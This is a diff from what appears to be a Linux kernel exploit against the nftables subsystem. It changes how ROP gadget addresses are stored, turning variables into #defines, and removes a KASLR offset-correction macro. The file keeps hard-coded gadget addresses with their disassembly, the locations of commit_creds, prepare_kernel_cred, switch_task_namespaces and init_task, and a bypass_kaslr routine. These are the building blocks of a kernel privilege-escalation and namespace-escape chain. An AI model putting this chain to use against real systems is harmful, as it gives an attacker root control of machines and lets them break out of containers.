@@ -33,84 +33,42 @@ inline static int _pin_to_cpu(int id) {
33
33
//
34
34
35
35
// ffffffff81e09097: push rdi; jmp qword ptr [rsi+0xf]; 4c57ff660f
36
- u64 push_rdi_jmp_rsi_0xf = 0xffffffff81e09097 ;
37
36
#define PUSH_RDI_JMP_RSI_0XF 0xffffffff81e09097
38
37
// ffffffff8126df29: pop rsp; add rsp, 0x20; pop rbx; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5c4883c4205be94c6d1901c3
39
- u64 pop_rsp_add_rsp_0x20_pop_rbx = 0xffffffff8126df29 ;
40
38
#define POP_RSP_ADD_RSP_0X20_POP_RBX_RET 0xffffffff8126df29
41
39
// ffffffff81251258: pop rdx; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5ae9223a1b01c3
42
- u64 pop_rdx = 0xffffffff81251258 ;
43
40
#define POP_RDX_RET 0xffffffff81251258
44
41
// ffffffff818180b4: pop rbp; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5de9c6cbbe00c3
45
- u64 pop_rbp = 0xffffffff818180b4 ;
46
42
#define POP_RBP_RET 0xffffffff818180b4
47
43
// ffffffff8102871c: pop rcx; jmp __x86_return_thunk (0xffffffff82404c80); ret; 59e95ec53d01c3
48
- u64 pop_rcx = 0xffffffff8102871c ;
49
44
#define POP_RCX_RET 0xffffffff8102871c
50
45
// ffffffff818344a5: push rax; jmp qword ptr [rcx]; 50ff21
51
- u64 push_rax_jmp_rcx = 0xffffffff818344a5 ;
52
46
#define PUSH_RAX_JMP_RCX 0xffffffff818344a5
53
47
// ffffffff81dadf48: pop rsp; jmp qword ptr [rsi+0xf]; 5cff660f
54
- u64 pop_rsp_jmp_rsi_0xf = 0xffffffff81dadf48 ;
55
48
#define POP_RSP_JMP_RSI_0XF 0xffffffff81dadf48
56
49
// ffffffff81bc9099: lea rax, [r12+rbp]; pop rbx; pop rbp; pop r12; pop r13; pop r14; jmp __x86_return_thunk (0xffffffff82404c80); ret; 498d042c5b5d415c415d415ee9d6bb8300c3
57
- u64 lea_rax_r12_plus_rbp_pop5 = 0xffffffff81bc9099 ;
58
50
#define LEA_RAX_R12_PLUS_RBP_POP5_RET 0xffffffff81bc9099
59
51
// ffffffff812f9168: pop rdi; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5fe912bb1001c3
60
- u64 pop_rdi = 0xffffffff812f9168 ;
61
52
#define POP_RDI_RET 0xffffffff812f9168
62
53
// ffffffff8124f56d: 48 89 c7 mov %rax,%rdi
63
54
// ffffffff8124f570: 48 89 3d d1 b9 23 03 mov %rdi,0x323b9d1(%rip) # ffffffff8448af48 <vmcoreinfo_data_safecopy>
64
55
// ffffffff8124f577: e9 04 57 1b 01 jmp ffffffff82404c80 <__x86_return_thunk>
65
- u64 mov_rdi_rax = 0xffffffff8124f56d ;
66
56
#define MOV_RDI_RAX_RET 0xffffffff8124f56d
67
57
// ffffffff81bd1748: pop rsi; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5ee932358300c3
68
- u64 pop_rsi = 0xffffffff81bd1748 ;
69
58
#define POP_RSI_RET 0xffffffff81bd1748
70
59
// function trailer for nft_do_chain
71
- u64 nft_do_chain_leave = 0xffffffff81e517eb ;
72
60
#define NFT_DO_CHAIN_LEAVE 0xffffffff81e517eb
73
61
// we use this for the fast path to copy some data from the skb into RSI
74
- u64 nft_payload_fast_ops = 0xffffffff82b27580 ;
75
62
#define NFT_PAYLOAD_FAST_OPS 0xffffffff82b27580
76
- u64 find_task_by_vpid = 0xffffffff811bbe60 ;
77
63
#define FIND_TASK_BY_VPID 0xffffffff811bbe60
78
- u64 switch_task_namespaces = 0xffffffff811c3a30 ;
79
64
#define SWITCH_TASK_NAMESPACES 0xffffffff811c3a30
80
- u64 commit_creds = 0xffffffff811c55a0 ;
81
65
#define COMMIT_CREDS 0xffffffff811c55a0
82
- u64 prepare_kernel_cred = 0xffffffff811c5840 ;
83
66
#define PREPARE_KERNEL_CRED 0xffffffff811c5840
84
- u64 init_task = 0xffffffff83815a40 ;
85
67
#define INIT_TASK 0xffffffff83815a40
86
- u64 init_nsproxy = 0xffffffff83876720 ;
87
68
#define INIT_NSPROXY 0xffffffff83876720
88
69
// ffffffff810ebbdd: add rsp, 0x88; jmp __x86_return_thunk (0xffffffff82404c80); ret; 4881c488000000e997903101c3
89
- u64 add_rsp_0x88 = 0xffffffff810ebbdd ;
90
70
#define ADD_RSP_0X88_RET 0xffffffff810ebbdd
91
71
92
- #define FOR_ALL_OFFSETS (x ) do { \
93
- x(push_rdi_jmp_rsi_0xf); \
94
- x(pop_rsp_add_rsp_0x20_pop_rbx); \
95
- x(pop_rdx); \
96
- x(pop_rbp); \
97
- x(pop_rcx); \
98
- x(push_rax_jmp_rcx); \
99
- x(pop_rsp_jmp_rsi_0xf); \
100
- x(lea_rax_r12_plus_rbp_pop5); \
101
- x(pop_rdi); \
102
- x(mov_rdi_rax); \
103
- x(pop_rsi); \
104
- x(add_rsp_0x88); \
105
- x(nft_do_chain_leave); \
106
- x(nft_payload_fast_ops); \
107
- x(find_task_by_vpid); \
108
- x(switch_task_namespaces); \
109
- x(commit_creds); \
110
- x(prepare_kernel_cred); \
111
- x(init_task); \
112
- x(init_nsproxy); \
113
- } while(0)
114
72
115
73
//
116
74
//
@@ -678,12 +636,6 @@ int64_t bypass_kaslr(u64 base) {
678
636
i64 off = base - 0xffffffff81000000 ;
679
637
printf ("kernel off: %lld\n" , off );
680
638
681
- //return off;
682
- i64 diff = 0xffffffff81000000 - base ;
683
- #define x (name ) { name -= diff; printf("corrected %s to %llx\n", #name, name); }
684
- FOR_ALL_OFFSETS (x );
685
- #undef x
686
-
687
639
return off ;
688
640
689
641
}
0 commit comments